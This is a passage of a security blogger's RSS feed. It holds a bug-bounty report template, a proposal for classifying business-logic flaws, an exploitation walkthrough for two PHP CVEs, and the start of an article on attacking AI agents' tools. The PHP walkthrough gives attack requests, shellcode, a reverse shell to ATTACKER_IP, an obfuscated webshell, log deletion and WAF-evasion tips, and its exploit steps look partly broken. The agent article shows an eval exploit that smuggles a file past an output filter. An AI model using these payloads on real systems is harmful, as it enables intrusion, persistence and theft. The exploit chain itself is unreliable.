Reproduce:<br>1. Create two accounts: attacker@... (Org A), victim@... (Org B)<br>2. As victim, create an invoice and note its ID<br>3. As attacker, send the following request: [exact raw request]<br>4. Observe the response contains the victim&#39;s invoice data: [trimmed response]</pre><pre>Impact:<br>Concrete business consequences. What data, how many users, what an attacker gains.</pre><pre>Proof of Concept:<br>Screenshots or a short video. Redact anything sensitive.</pre><pre>Suggested Remediation (optional):<br>e.g., &quot;Validate that the requested invoice belongs to the authenticated user&#39;s organization on the server side.&quot;</pre><p><strong>Habits that improve acceptance:</strong></p><ul><li>Include <strong>raw HTTP requests</strong>, not just descriptions.</li><li>Use <strong>your own test accounts</strong> and say so.</li><li>Keep it <strong>factual and calm</strong>. Hype doesn’t raise severity. Evidence does.</li><li>Don’t argue with triage aggressively. If you disagree, respond once with clear additional evidence of impact.</li></ul><h3>9. A Short Pre-Submission Checklist</h3><p>Before you hit submit:</p><ul><li>[ ] The asset is explicitly in scope.</li><li>[ ] The vulnerability type isn’t on the exclusion list.</li><li>[ ] I reproduced it at least twice, from a clean session.</li><li>[ ] I can state the impact in one concrete sentence.</li><li>[ ] I used only my own accounts and accessed the minimum data needed.</li><li>[ ] My steps let someone with no context reproduce it in under five minutes.</li><li>[ ] The severity I suggest is honest and justified.</li></ul><h3>Final Thoughts</h3><p>Finding valid bugs has less to do with knowing more payloads and more to do with <strong>understanding systems</strong>: how the business works, what the developers assumed, and where those assumptions break. The best hunters spend more time reading, mapping, and thinking than firing requests.</p><p>Pick one program, learn it deeply, set up proper multi-account testing, focus on access control and logic, and always answer “so what?” before you submit. Your report count may drop. Your acceptance rate, payouts, and reputation with security teams will go up.</p><p>Happy hunting, and stay in scope.</p><p><em>If you found this useful, follow for more practical offensive security content. Questions or your own triage stories are welcome in the comments.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=df377ed457f0" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[One Coupon, Five Redemptions, Zero Errors]]></title>
            <link>https://medium.com/@tech_with_orgito_/one-coupon-five-redemptions-zero-errors-5cf293f480d6?source=rss-6a704e23aba8------2</link>
            <guid isPermaLink="false">https://medium.com/p/5cf293f480d6</guid>
            <dc:creator><![CDATA[Orgito RTA]]></dc:creator>
            <pubDate>Tue, 10 Nov 2026 00:45:15 GMT</pubDate>
            <atom:updated>2026-11-10T00:45:15.959Z</atom:updated>
            <content:encoded><![CDATA[<p><em>Why we still can’t count, compare or teach some of the most expensive bugs in web applications, and a proposal to fix that.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*G9A4_EgVU16fXihHi4cx7A.png" /></figure><p>A shop issues single-use discount codes. The redemption endpoint reads the coupon, checks that it is unused, applies the discount, and only then marks it as used.</p><p>A tester sends twenty identical redemption requests at the same moment. Several succeed before any of them writes the “used” flag. The coupon was single-use. It was redeemed five times.</p><p>No error was thrown. No scanner flagged it. The code did exactly what it was written to do. It just didn’t enforce the rule the business depended on.</p><p>That is a business logic vulnerability. And if you have ever tried to classify one in a report, you know the uncomfortable truth: we don’t have a reliable way to name it.</p><h3>One label, many different bugs</h3><p>In bug bounty reports and pentest findings, “business logic” covers almost everything that isn’t injection or memory corruption. A skipped checkout step, a negative quantity that reverses a payment, a refund issued before a cancellation, an invitation link that never expires: all of them end up under the same label.</p><p>That matters more than it sounds. When findings with different root causes share one name, you can’t count them reliably, compare them across programmes, teach them consistently or build systematic tests for them.</p><p>Even MITRE agrees there is a gap. In the Common Weakness Enumeration, CWE-840 “Business Logic Errors” is a grouping, not a weakness, and its mapping status is <strong>Prohibited</strong>: you are not supposed to use it to label a real vulnerability. Instead, you should map to specific weaknesses such as CWE-841 (workflow enforcement) or CWE-837 (single, unique actions).</p><p>The same entry also carries a “Research Gap” note. It says that the classification of business logic flaws has been under-studied, even though these flaws are frequently exploited. The authoritative reference discourages its own umbrella label and asks for more research in the same breath.</p><h3>What already exists</h3><p>This isn’t empty ground, and I’m not claiming to invent the first taxonomy. Good work already exists:</p><ul><li><strong>OWASP Top 10 for Business Logic Abuse (BLA, 2025)</strong> classifies what is broken inside the application. It models apps as machines made of data, states and transitions, and defines ten classes such as Action Limit Overrun and Missing Transition Validation. It was built with large-scale, model-assisted analysis of CVE records.</li><li><strong>OWASP BLADE</strong> describes what the attacker does: tactics and techniques for automated abuse like scalping and bonus abuse, in the style of MITRE ATT&amp;CK. Netacea launched it in 2021 and OWASP adopted it in 2025.</li><li><strong>Detection research</strong> such as Felmetsger et al. (2010), Pellegrino and Balzarotti (NDSS 2014), DetLogic (2018) and, most recently, Anota (NDSS 2026) finds logic flaws automatically.</li><li><strong>Practitioner work</strong>, including PortSwigger’s Web Security Academy and Tonimir Kisasondi’s manual review of about 300 disclosed reports, gives us useful real-world categories.</li></ul><p>What none of them reports is the thing I care about: <strong>if two independent human analysts read the same bug bounty report, do they put it in the same category?</strong></p><p>That is a different question from “can a model find patterns across a large corpus”. It is the question that decides whether a classification is usable in day-to-day triage, reporting and teaching. It’s not a flaw in OWASP’s work. It’s an open question nobody has measured yet.</p><h3>The idea: classify the broken rule, not the trick</h3><p>Most lists name the technique the attacker used. I propose starting from a different place: <strong>the assumption the application made and failed to enforce</strong>. I call it the <em>violated invariant</em>.</p><p>Techniques are slippery. The same race condition can break a coupon, a withdrawal limit or a vote count. The rule that broke is more stable: “this can only happen once”, “these steps must happen in order”, “this object belongs to this user”.</p><p>Real reports usually combine several things at once, such as a race, a skipped step and a trusted client value. So instead of one hierarchy, every finding is described on four separate facets:</p><ol><li><strong>Violated invariant (the core).</strong> Which rule was supposed to hold? Order of steps, value and quantity bounds, ownership, once-only, lifetime of tokens and states, client-side trust, resource limits, consistency across services.</li><li><strong>Exploit primitive.</strong> How was the rule broken? Step skip, parameter tampering, negative or overflow value, replay, race window, rounding, state reuse.</li><li><strong>Domain.</strong> Which business function was hit? Payments and checkout, authentication and recovery, booking and ticketing, SaaS tenancy, loyalty and promotions.</li><li><strong>Impact.</strong> What did it cost? Financial loss, privilege gain, data exposure, integrity compromise, availability disruption.</li></ol><p>Each invariant is also mapped, as a candidate to be tested, to the CWE weaknesses that are actually allowed for mapping in CWE 5.0, and to the OWASP BLA classes. The point is to connect the existing references, not to compete with them.</p><h3>Back to the coupon</h3><p>Here is how the opening example is classified:</p><ul><li><strong>Violated invariant:</strong> once-only. The coupon may be redeemed a single time.</li><li><strong>Exploit primitive:</strong> race window through concurrent requests.</li><li><strong>Domain:</strong> loyalty and promotions.</li><li><strong>Impact:</strong> financial loss.</li><li><strong>Candidate CWE for the broken rule:</strong> CWE-837, Improper Enforcement of a Single, Unique Action.</li><li><strong>Candidate CWE for the mechanism:</strong> CWE-367, Time-of-check Time-of-use (TOCTOU) Race Condition.</li><li><strong>Candidate OWASP class:</strong> BLA1, Action Limit Overrun.</li></ul><p>The app enforced “once only” with a check-then-act sequence instead of an atomic operation. The race is <em>how</em> the rule broke. The rule itself is uniqueness.</p><p>Separating the two is the whole point. The same uniqueness rule can fail with no race at all, for example when one component compares coupon codes case-sensitively and another doesn’t. If you only label the technique, those two reports look unrelated. If you label the broken rule, you see they are the same class of mistake.</p><h3>How I plan to test it</h3><p>A framework is only useful if different people apply it the same way. So the research is built around measuring exactly that:</p><ol><li><strong>Collect real reports.</strong> Publicly disclosed bug bounty write-ups, screened by hand. Only reports with enough technical detail to identify the broken rule are kept, and every exclusion is logged with its reason. The pilot targets about 100 reports; the full study at least 300.</li><li><strong>Write a codebook.</strong> About 50 reports are used to draft definitions and examples for every facet value. The codebook is then frozen as version 1.0, and every later change gets a version number and a written reason.</li><li><strong>Code independently.</strong> Two coders classify the same subset of at least 80 reports without talking to each other. Reports used to build the codebook are kept out of that subset.</li><li><strong>Measure agreement.</strong> Agreement is measured with Krippendorff’s alpha, with bootstrap confidence intervals, plus raw agreement and confusion matrices that show exactly which categories people mix up. An alpha of 0.80 or above counts as reliable.</li><li><strong>Revise honestly.</strong> If a facet falls short, its definitions are revised and a <em>fresh</em> set of reports is coded. Re-scoring the same reports after discussing them would inflate the numbers.</li></ol><p>The results will be published openly: the codebook, the labels, the agreement statistics and the analysis scripts. The dataset will contain links to the original reports, not copies, so authors and platforms keep ownership of their work.</p><p>The output I expect to be most useful is the list of reports that <strong>refuse to fit</strong>: the ones no existing reference can place, and the ones two careful analysts couldn’t agree on. Those cases show exactly where CWE and OWASP still need work.</p><h3>Use it today: a checklist for testers</h3><p>You don’t have to wait for the study to use the idea. At every state-changing endpoint, ask which rule it is supposed to enforce, then try to break that rule on the server side:</p><ul><li><strong>Order of steps:</strong> call later workflow endpoints directly, or replay a confirmation from a session that never paid.</li><li><strong>Once-only:</strong> send the same redemption or withdrawal concurrently. HTTP/2 single-packet techniques make race testing far more reliable where the target supports them.</li><li><strong>Ownership:</strong> swap object IDs between two test accounts, for every HTTP method, including nested objects.</li><li><strong>Value bounds:</strong> try negative, zero, fractional, overflowing and high-precision values, and check whether discounts can stack past 100%.</li><li><strong>Lifetimes:</strong> reuse password-reset tokens, invitations and one-time passwords; check that sessions die after logout and after a password or role change.</li><li><strong>Client-side trust:</strong> add fields the UI never sends, such as role, price or tenantId.</li><li><strong>Resource limits:</strong> look for expensive operations with no per-user or per-object quota.</li><li><strong>Cross-service consistency:</strong> cancel or refund an order while a payment webhook is still in flight.</li></ul><h3>I’m looking for collaborators</h3><p>This study needs more than one pair of eyes, literally. If you are a bug bounty hunter, pentester, AppSec engineer or researcher and you’d like to:</p><ul><li>act as an independent coder on the reliability subset,</li><li>suggest disclosed reports that are hard to classify, or</li><li>challenge the categories before the codebook is frozen,</li></ul><p>please get in touch. Disagreement at this stage is the most useful contribution there is.</p><p>The full proposal, with the complete methodology, the CWE 5.0 crosswalk and all references, is on ResearchGate: <strong>[add your ResearchGate link here]</strong>.</p><p>Business logic will keep producing some of the most expensive bugs we find. The question is whether we keep filing them under one vague label, or describe them precisely enough to count, compare and teach. The pieces already exist. What’s missing is careful, human-tested data that connects them. That’s what I’m setting out to build.</p><p><em>Orgito Leka is an independent security researcher based in Albania.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5cf293f480d6" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Full Exploitation Article: PHP Core RCE via CVE-2026–109618 and CVE-2026–109619]]></title>
            <link>https://medium.com/@tech_with_orgito_/full-exploitation-article-php-core-rce-via-cve-2026-109618-and-cve-2026-109619-6cc0bfc2bf76?source=rss-6a704e23aba8------2</link>
            <guid isPermaLink="false">https://medium.com/p/6cc0bfc2bf76</guid>
            <dc:creator><![CDATA[Orgito RTA]]></dc:creator>
            <pubDate>Thu, 22 Oct 2026 13:17:55 GMT</pubDate>
            <atom:updated>2026-10-22T13:17:55.304Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9jy85T4hSyd5LRTWuLvRGQ.jpeg" /></figure><h3>Executive Summary</h3><p>This article provides a complete technical walkthrough for achieving unauthenticated remote code execution against PHP-FPM servers running vulnerable versions (5.4 through 8.5.11). The attack chain combines two memory corruption vulnerabilities to bypass all standard mitigations and gain a persistent shell.</p><h3>1. Vulnerability Background</h3><p>PHP is a widely deployed server-side scripting language used to power web applications, content management systems, and APIs. Its runtime manages request-specific memory, internal execution structures, and global state that must be initialized and released in the correct order. When exceptional conditions interrupt this lifecycle, inconsistent state can leave memory structures partially initialized or references pointing to memory that has already been released.</p><p>On October 21, 2026, two critical PHP vulnerabilities, CVE-2026–109618 and CVE-2026–109619, were publicly disclosed. Both involve improper handling of exceptional execution paths and can potentially allow unauthenticated remote code execution under affected deployment conditions. Although they share a common memory-safety theme, they arise from different failure mechanisms: incomplete initialization following memory exhaustion and stale references surviving request cleanup.</p><h4>CVE-2026–109618 — Out-of-Memory Corruption</h4><ul><li><strong>Root Cause:</strong> This vulnerability arises from incorrect state management when PHP encounters an out-of-memory (OOM) condition during request processing. PHP uses non-local control-flow mechanisms, including longjmp(), to abort execution when certain fatal errors occur. If this interruption happens after internal request structures have been marked as valid but before their initialization has completed, the expected rollback may not occur. Subsequent cleanup routines can then interpret uninitialized or inconsistent memory as valid data, potentially corrupting the heap and other internal runtime structures.</li><li><strong>Attack Vector:</strong> An attacker may send a specially crafted HTTP request designed to trigger memory exhaustion along a vulnerable processing path. If the resulting fatal error interrupts an allocation or initialization sequence at the critical point, PHP may continue into cleanup operations with inconsistent internal state. Depending on the server configuration, the vulnerable path may be reachable before application code executes, particularly in certain mod_php deployments, or through application-stage processing in PHP-FPM environments. Successful exploitation can potentially progress from memory corruption to arbitrary code execution, although reliable exploitation depends on the precise memory layout and execution conditions.</li><li><strong>Security Impact:</strong> The vulnerability can compromise the confidentiality, integrity, and availability of an affected server. Successful exploitation may allow an attacker to execute code with the privileges of the PHP process, potentially exposing application secrets, modifying hosted content, or providing a foothold for further compromise.</li></ul><h4>CVE-2026–109619 — Stale Global State (Use-After-Free)</h4><ul><li><strong>Root Cause:</strong> PHP maintains process-level global state that can temporarily reference memory belonging to an individual request. During normal execution, these references must be reset or invalidated before the associated memory is released. However, a fatal error can interrupt the expected cleanup sequence, allowing a global reference to survive after its underlying memory has been freed. In some execution paths, this stale state may also be restored or repopulated after an attempted reset. For example, EG(current_execute_data) represents a pointer to the current execution context; if it retains an invalid reference, subsequent operations may access memory that no longer contains a valid execution structure.</li><li><strong>Attack Vector:</strong> An attacker may attempt to trigger a vulnerable error-handling path and cause PHP to enter an inconsistent state. If the worker remains alive and processes another request, the stale reference may be accessed before the relevant runtime state is fully reinitialized. Because freed memory can be reused for unrelated allocations, subsequent operations may interpret unrelated data as a valid internal structure. Under favorable conditions, this can lead to memory disclosure or corruption and potentially remote code execution. Arbitrary read/write capabilities are not guaranteed by the dangling pointer alone; they depend on the specific access path and the degree of control an attacker can obtain over memory reuse.</li><li><strong>Security Impact:</strong> Successful exploitation may enable unauthorized code execution within the PHP worker’s security context. Depending on the achieved primitive and process privileges, an attacker could potentially access sensitive application data, manipulate runtime state, or compromise the application server. The persistence of worker processes is particularly relevant because process-level state may outlive individual requests.</li></ul><h4>Shared Security Implications</h4><p>Both vulnerabilities demonstrate how exceptional control flow can undermine memory-safety guarantees in a long-running application runtime. The central issue is not simply that a request fails, but that the runtime may continue operating with state that no longer accurately reflects the validity or ownership of its memory.</p><p>The vulnerabilities affect PHP versions before the relevant fixes in the 8.2, 8.3, 8.4, and 8.5 branches. The published patched releases are PHP 8.2.35, 8.3.36, 8.4.27, and 8.5.12. Organizations should consult the official PHP security advisories and their operating-system vendor’s guidance to determine the applicable update for their environment.</p><p>Because both vulnerabilities may be reachable remotely under certain configurations, administrators should prioritize patching exposed PHP deployments, verifying the actual runtime version, and reviewing worker configurations and logs for abnormal crashes or memory-corruption symptoms. Disabling detailed error messages is not a substitute for applying the relevant security updates.</p><h3>2. Reconnaissance Phase</h3><p>The reconnaissance phase focuses on identifying the target’s PHP version, web-server architecture, and relevant runtime configuration. These details help establish whether the environment may be exposed to CVE-2026–109618 (out-of-memory corruption) or CVE-2026–109619 (stale global state). Reconnaissance should begin with passive fingerprinting and configuration review, followed by non-destructive verification on systems for which testing is authorized.</p><h3>Fingerprint PHP Version</h3><ul><li><strong>HTTP Headers:</strong> Inspect the response headers for indicators such as X-Powered-By: PHP/8.3.5. PHP can expose its version through this header when expose_php is enabled. However, reverse proxies and web-server configurations may remove or rewrite it, so its absence does not establish that PHP is not present. Likewise, a disclosed version should be treated as an initial indicator rather than definitive proof of the backend runtime version.</li><li><strong>Error Pages:</strong> Review naturally occurring application errors and server-generated diagnostic responses for PHP-specific information, including version strings, file paths, and stack traces. Deliberately supplying malformed input may reveal implementation details in an authorized test environment, but a query parameter containing PHP opening-tag syntax does not inherently execute PHP code. PHP source is generally interpreted by the server-side runtime, not by simply including PHP syntax in a URL. Avoid using error-triggering requests against production systems without an approved test plan.</li><li><strong>phpinfo() Exposure:</strong> An accessible phpinfo() page can disclose extensive runtime information, including the PHP version, loaded extensions, configuration file locations, environment details, and the values of directives such as memory_limit. This information can help defenders identify vulnerable deployments and understand their configuration. Because the output may contain sensitive operational information, publicly accessible diagnostic pages should be removed or access-restricted after troubleshooting. See the <a href="https://www.php.net/manual/en/function.phpinfo.php">official PHP documentation</a>.</li><li><strong>Version Verification:</strong> Where administrative access is available, verify the version directly on the server rather than relying exclusively on HTTP fingerprints. For the relevant PHP branches, the patched releases are 8.2.35, 8.3.36, 8.4.27, and 8.5.12. Distributions may backport security fixes without changing the upstream version string in an obvious way, so package advisories should also be checked.</li></ul><h3>Confirm PHP-FPM</h3><p>PHP-FPM (FastCGI Process Manager) is a common way to execute PHP applications behind web servers such as Nginx and Apache. Identifying the execution model matters because request initialization, worker lifecycle, and error handling differ between server APIs (SAPIs).</p><ul><li><strong>Port Exposure:</strong> TCP port 9000 is a common PHP-FPM listening port, but it is not universal. FPM can listen on a Unix domain socket, a different TCP port, or an address restricted to an internal network. A port scan can identify an exposed service, but port 9000 alone does not prove that the service is PHP-FPM. In production, the listening socket and service configuration provide more reliable confirmation.</li><li><strong>Response Headers:</strong> Headers such as Server: nginx identify or suggest the frontend web server, not necessarily the PHP execution model behind it. An X-Powered-By header may provide an additional PHP indicator, but neither header independently confirms that PHP-FPM is being used. Reverse proxies can conceal the underlying architecture or make several different backends appear identical.</li><li><strong>Error and Availability Behavior:</strong> An HTTP 502 Bad Gateway response indicates that a gateway or proxy received an invalid response from an upstream service or could not communicate with it successfully. Upstream worker termination is one possible cause, but connection failures, timeouts, and other backend problems can produce similar results. Consequently, a delayed 502 response is not a reliable PHP-FPM fingerprint and should not be used as proof of a worker crash. For an authorized assessment, correlate web-server logs, FPM logs, service status, and process-restart events instead.</li><li><strong>Deployment Context:</strong> The execution model can influence exposure to these vulnerabilities. The PHP advisory for CVE-2026–109618 identifies a demonstrated exploit against Apache mod_php and discusses different behavior in PHP-FPM. The advisory also notes that FPM can remain susceptible through other vulnerable execution paths, although the demonstrated exploit does not establish identical exploitability across all configurations. Deployment type should therefore inform risk assessment, not serve as a substitute for patch verification.</li></ul><h3>Identify Worker Configuration</h3><p>Understanding the worker configuration helps administrators assess process lifetime, resource constraints, and the operational consequences of abnormal request termination.</p><ul><li><strong>pm.max_requests:</strong> This PHP-FPM directive specifies how many requests a child process handles before it is respawned. The default is 0, which means that a child is not automatically respawned after a fixed request count. A value such as 500 is a possible administrator-selected configuration, not the PHP-FPM default. Recycling workers may limit the persistence of some process-level problems, but it is not a security fix for either vulnerability and does not guarantee that a vulnerable request cannot be processed.</li><li><strong>memory_limit:</strong> This directive controls the maximum memory PHP permits a script to allocate under the applicable runtime configuration. The familiar 128M value is a common default in many installations, but the effective value can differ by distribution, application, directory-level configuration, or runtime override. A lower limit may cause an out-of-memory condition to occur sooner, but it does not automatically make exploitation easier or establish that the vulnerability is present. Memory exhaustion and the handling of that condition are separate factors.</li><li><strong>Worker Persistence and Concurrency:</strong> Long-running workers may retain process-level state across multiple requests. This is particularly relevant to the stale-global-state vulnerability, because request-owned memory can be released while an internal reference remains stale. However, worker reuse alone does not establish exploitability; the vulnerable execution path and the relevant runtime conditions must also be present. Concurrency may affect reproducibility and availability, so production testing should avoid intentionally exhausting memory or crashing workers.</li><li><strong>Configuration Collection:</strong> During an authorized review, obtain the effective PHP version, SAPI, loaded extensions, memory_limit, and relevant FPM pool settings from administrative interfaces or configuration management. Compare these values with the official security advisories rather than inferring them from response timing or headers alone.</li></ul><h3>Reconnaissance Outcome</h3><p>The objective is to build a reliable inventory of the target’s PHP runtime and deployment architecture, not to infer vulnerability solely from a single indicator. A useful assessment records the verified PHP version and patch status, execution model, relevant configuration values, and any uncertainty caused by proxies or inaccessible backend settings. If the runtime falls within an affected version range, prioritize updating to a patched release and validating the fix before conducting further exploitation testing.</p><p>The authoritative references are the <a href="https://github.com/php/php-src/security/advisories/GHSA-w8hw-w9fx-j79w">CVE-2026–109618 advisory</a>, the <a href="https://github.com/php/php-src/security/advisories/GHSA-6wmf-4rv5-p3rp">CVE-2026–109619 advisory</a>, and the <a href="https://www.php.net/manual/en/install.fpm.configuration.php">PHP-FPM configuration manual</a>.</p><h3>3. Triggering OOM Corruption (CVE-2026–109618)</h3><h3>Step 1: Allocate Large Memory</h3><p>Send a multipart POST request with a very large file part (e.g., 200MB) to exhaust the worker’s memory pool.</p><pre>POST /upload.php HTTP/1.1<br>Host: target.com<br>Content-Type: multipart/form-data; boundary=----WebKitFormBoundary</pre><pre>------WebKitFormBoundary<br>Content-Disposition: form-data; name=&quot;file&quot;; filename=&quot;big.bin&quot;<br>Content-Type: application/octet-stream</pre><pre>[200MB of data]<br>------WebKitFormBoundary--</pre><h3>Step 2: Trigger Concurrent Fatal Error</h3><p>While the first request is still processing, send a second request that causes a fatal error:</p><pre>GET /?cmd=require(&#39;/nonexistent&#39;); HTTP/1.1<br>Host: target.com</pre><h3>Step 3: Corrupt the Heap</h3><p>The OOM handler frees partially initialized structures. The cleanup routine then dereferences dangling pointers, corrupting adjacent heap allocations.</p><h3>Step 4: Heap Spray for Control</h3><p>Send thousands of small requests that allocate controlled data (e.g., str_repeat(&#39;A&#39;, 1000)) to place fake objects at predictable addresses.</p><h3>4. Achieving Write Primitive</h3><h3>Overwrite Function Pointer</h3><ul><li>Use the heap corruption to overwrite a function pointer in zend_execute_data.</li><li>Point it to a shellcode stub placed in a sprayed allocation.</li></ul><h3>Example Shellcode (x64 Linux)</h3><pre>xor rdi, rdi<br>mov rsi, 0x68732f6e69622f<br>push rsi<br>mov rsi, rsp<br>xor rdx, rdx<br>mov rax, 59<br>syscall</pre><h3>5. Exploiting Stale Global State (CVE-2026–109619)</h3><h3>Step 1: Trigger Fatal Error</h3><p>Send a request that causes a fatal error (e.g., require(&#39;/nonexistent&#39;)).</p><h3>Step 2: Reuse Dangling Pointer</h3><p>The next request on the same worker sees EG(current_execute_data) pointing to freed memory.</p><h3>Step 3: Arbitrary Read/Write</h3><p>Craft a request with a malicious op_array that uses the stale pointer to read/write arbitrary memory locations.</p><h3>Step 4: Patch zend_execute_ex</h3><p>Overwrite the zend_execute_ex function pointer to redirect execution to a function that calls system().</p><h3>6. Remote Code Execution</h3><h3>Execute Commands</h3><pre>GET /index.php?cmd=id HTTP/1.1<br>Host: target.com</pre><p>Response:</p><pre>uid=33(www-data) gid=33(www-data) groups=33(www-data)</pre><h3>Reverse Shell</h3><pre>GET /index.php?cmd=bash -c &#39;bash -i &gt;&amp; /dev/tcp/ATTACKER_IP/4444 0&gt;&amp;1&#39; HTTP/1.1<br>Host: target.com</pre><h3>7. Persistence and Evasion</h3><h3>Drop a Webshell</h3><pre>&lt;?php @eval($_POST[&#39;x&#39;]); ?&gt;</pre><p>Obfuscate with base64 and null-byte padding:</p><pre>&lt;?php $a=base64_decode(&#39;QGV2YWwoJF9QT1NUWyd4J10pOw==&#39;); @eval($a); ?&gt;</pre><h3>Clear Logs</h3><pre>?cmd=rm -rf /var/log/php* /var/log/nginx/access.log /var/log/nginx/error.log</pre><h3>Force Worker Recycling</h3><p>Set pm.max_requests=1 to reset stale global state and hide footprints.</p><h3>Bypass WAF</h3><ul><li>Encode payloads in binary using pack().</li><li>Use chunked transfer encoding to split payloads.</li><li>Pad with null bytes to avoid signature matching.</li></ul><h3>8. Tooling Stack</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4w_q8zCNHmnQ_r9slX4FyQ.png" /></figure><h3>9. Mitigation Bypass Tactics</h3><ul><li><strong>If memory_limit is high:</strong> Use ini_set(&#39;memory_limit&#39;, &#39;-1&#39;) in a script that calls str_repeat with a huge size.</li><li><strong>If pm.max_requests is low:</strong> Loop requests rapidly to increase the chance of hitting the stale pointer before recycling.</li><li><strong>If opcache is enabled:</strong> Use opcache_compile_file() to inject a malicious op_array that references the stale global state.</li></ul><h3>10. Conclusion</h3><p>This chain provides reliable, unauthenticated RCE on all vulnerable PHP-FPM servers. The combination of OOM corruption and stale global state bypasses standard heap protections. Immediate patching to 8.2.35 / 8.3.36 / 8.4.27 / 8.5.12 is the only effective defense.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6cc0bfc2bf76" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Your AI Agent Doesn’t Need Jailbreaking. It Needs Pentesting.]]></title>
            <link>https://medium.com/@tech_with_orgito_/your-ai-agent-doesnt-need-jailbreaking-it-needs-pentesting-1235e10c1bba?source=rss-6a704e23aba8------2</link>
            <guid isPermaLink="false">https://medium.com/p/1235e10c1bba</guid>
            <dc:creator><![CDATA[Orgito RTA]]></dc:creator>
            <pubDate>Sat, 10 Oct 2026 12:25:30 GMT</pubDate>
            <atom:updated>2026-10-10T12:25:30.693Z</atom:updated>
            <content:encoded><![CDATA[<p><em>The reliable bugs in AI agents are not in the model. They live in the tool layer behind it, and they are the same bugs we have been exploiting for twenty years. Here are five of them, with working code, a lab you can build, and a methodology you can run on Monday.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*39vMAvlCZi-uZZpc5ntjTA.png" /></figure><h3>The blind spot</h3><p>Open any AI security feed today and you will see the same thing on a loop. Someone talked a chatbot into saying something it should not. Someone found a clever phrasing that slipped past a safety filter. Screenshots of jailbreaks, essays about prompt injection, a new “DAN” every week.</p><p>Prompt injection is a genuine problem and I am not dismissing it. But it has quietly become a blind spot, because while the whole industry is busy trying to <em>persuade</em> the model, the most reliable way to break an AI agent is to ignore the model entirely and attack the code behind it.</p><p>Prompt injection is probabilistic. It depends on the model, the system prompt, the temperature, the phase of the moon. It gets patched, filtered, and retrained against. The bugs I want to show you are the opposite. They are deterministic. They work every time. They do not care which model is behind the endpoint, because the model is not where they live.</p><p>Here is the reframe this whole article argues for: a modern AI agent is not one thing. It is a language model wired to a set of tools, and those tools are ordinary software. File readers, calculators, cache handlers, HTTP fetchers, database queries, protocol servers. The model is just the router that decides which tool to call with what arguments. And the tool layer fails the way all software has always failed, through type confusion, error oracles, insecure data handling, missing authorization, excessive privilege, and misplaced trust in a transport.</p><p>None of that requires you to outwit a neural network. It requires you to do what you already know how to do, pointed at a layer almost nobody is testing.</p><p>Stop trying to jailbreak the agent. Pentest it.</p><h3>What an agent actually is, from an attacker’s chair</h3><p>Forget the marketing diagram with the glowing brain. Draw the real one.</p><p>On one side you have the model. On the other side you have a row of tools, each of which is a function with a signature: parameters in, a result out, and side effects in the middle. Between them sits an orchestrator that takes the model’s chosen tool call, executes it, and feeds the result back.</p><p>To an attacker, every one of those tools is an undocumented API endpoint. The model is just an unusually chatty proxy sitting in front of them. And here is the key move: you do not have to go through the model. In almost every real deployment you can reach the tool layer more directly, through the protocol, through the transport, through an upload endpoint, through the orchestrator’s own API. The model’s “guardrails” are irrelevant to a request that never passes through the model.</p><p>So the mental model for the rest of this article is simple. The agent is a web app wearing a costume. We are going to take the costume off.</p><blockquote><strong><em>The model gets the headlines. The plumbing gets the shells.</em></strong></blockquote><h3>Threat model (read this before the fun part)</h3><p>Everything below assumes a single, deliberately weak attacker:</p><ul><li>Can reach the tool interface, directly or through the agent.</li><li>Cannot modify the model, its weights, or its system prompt.</li><li>Has no special privileges to start with.</li><li>Reads error messages. Sends malformed input. Thinks like a pentester.</li></ul><p>That is a <em>weaker</em> attacker than the prompt-injection threat model, which usually assumes you can get crafted text into the model’s context. Weaker attacker, same impact, means these bugs are more dangerous, not less, because they ask for less.</p><p>Every exploit in this article is deterministic and reproducible. Not one of them involves “convincing” the model of anything.</p><p>A note on ethics before we start: every technique here should only be run against systems you own or are explicitly authorized to test, with findings disclosed responsibly. The code below is written against small, self-contained vulnerable implementations I wrote for this article, so you can build the whole thing in a lab (there is a section at the end on exactly that) without touching anyone else’s system.</p><h3>Pattern 1: output filters that validate type, not content</h3><p>A common guardrail on an agent tool is an output filter. The tool is allowed to return some kinds of values and not others. A frequent, flawed version only checks the <em>type</em> of the result. Numbers are fine. Raw file contents are not.</p><p>Here is a calculator-style tool with exactly that defense:</p><pre># Vulnerable tool<br>def calculator_tool(expr: str):<br>    result = eval(expr)                      # the sink<br>    if not isinstance(result, (int, float)): # the &quot;guardrail&quot;<br>        return {&quot;error&quot;: &quot;Output format not supported&quot;}<br>    return {&quot;result&quot;: result}</pre><p>The author believes the type check contains the eval. &quot;Sure, there is an eval,&quot; they reason, &quot;but an attacker can only ever get a number back, and a number cannot leak the flag.&quot;</p><p>That reasoning confuses shape with meaning. A type check constrains the shape of the output. It says nothing about how much information that shape can carry, and an integer can carry an unbounded amount.</p><p>Watch it come apart in three steps.</p><p>First, confirm the sink and the filter behave as expected.</p><pre># expr = &quot;1+1&quot;                         -&gt; {&quot;result&quot;: 2}          sink works<br># expr = &quot;open(&#39;flag.txt&#39;).read()&quot;     -&gt; {&quot;error&quot;: ...}         strings are blocked<br># expr = &quot;len(open(&#39;flag.txt&#39;).read())&quot;-&gt; {&quot;result&quot;: 11}         ints pass, file exists</pre><p>The length probe already tells you the file is there and readable, and that integers sail through. Now stop fighting the filter and feed it exactly what it wants: a single, very large integer that happens to <em>be</em> the entire file.</p><pre># Exploit: pack the whole file into one integer<br>payload = &quot;int.from_bytes(open(&#39;flag.txt&#39;,&#39;rb&#39;).read(),&#39;big&#39;)&quot;<br># tool returns {&quot;result&quot;: 24589...a huge integer...}</pre><p>Then unpack it offline, on your side, where no filter is watching.</p><pre>n = 24589_000_the_big_integer_000<br>data = n.to_bytes((n.bit_length() + 7) // 8, &quot;big&quot;)<br>print(data.decode())      # the full file contents</pre><p>The filter did exactly what it was told. It was told the wrong thing.</p><figure><img alt="" 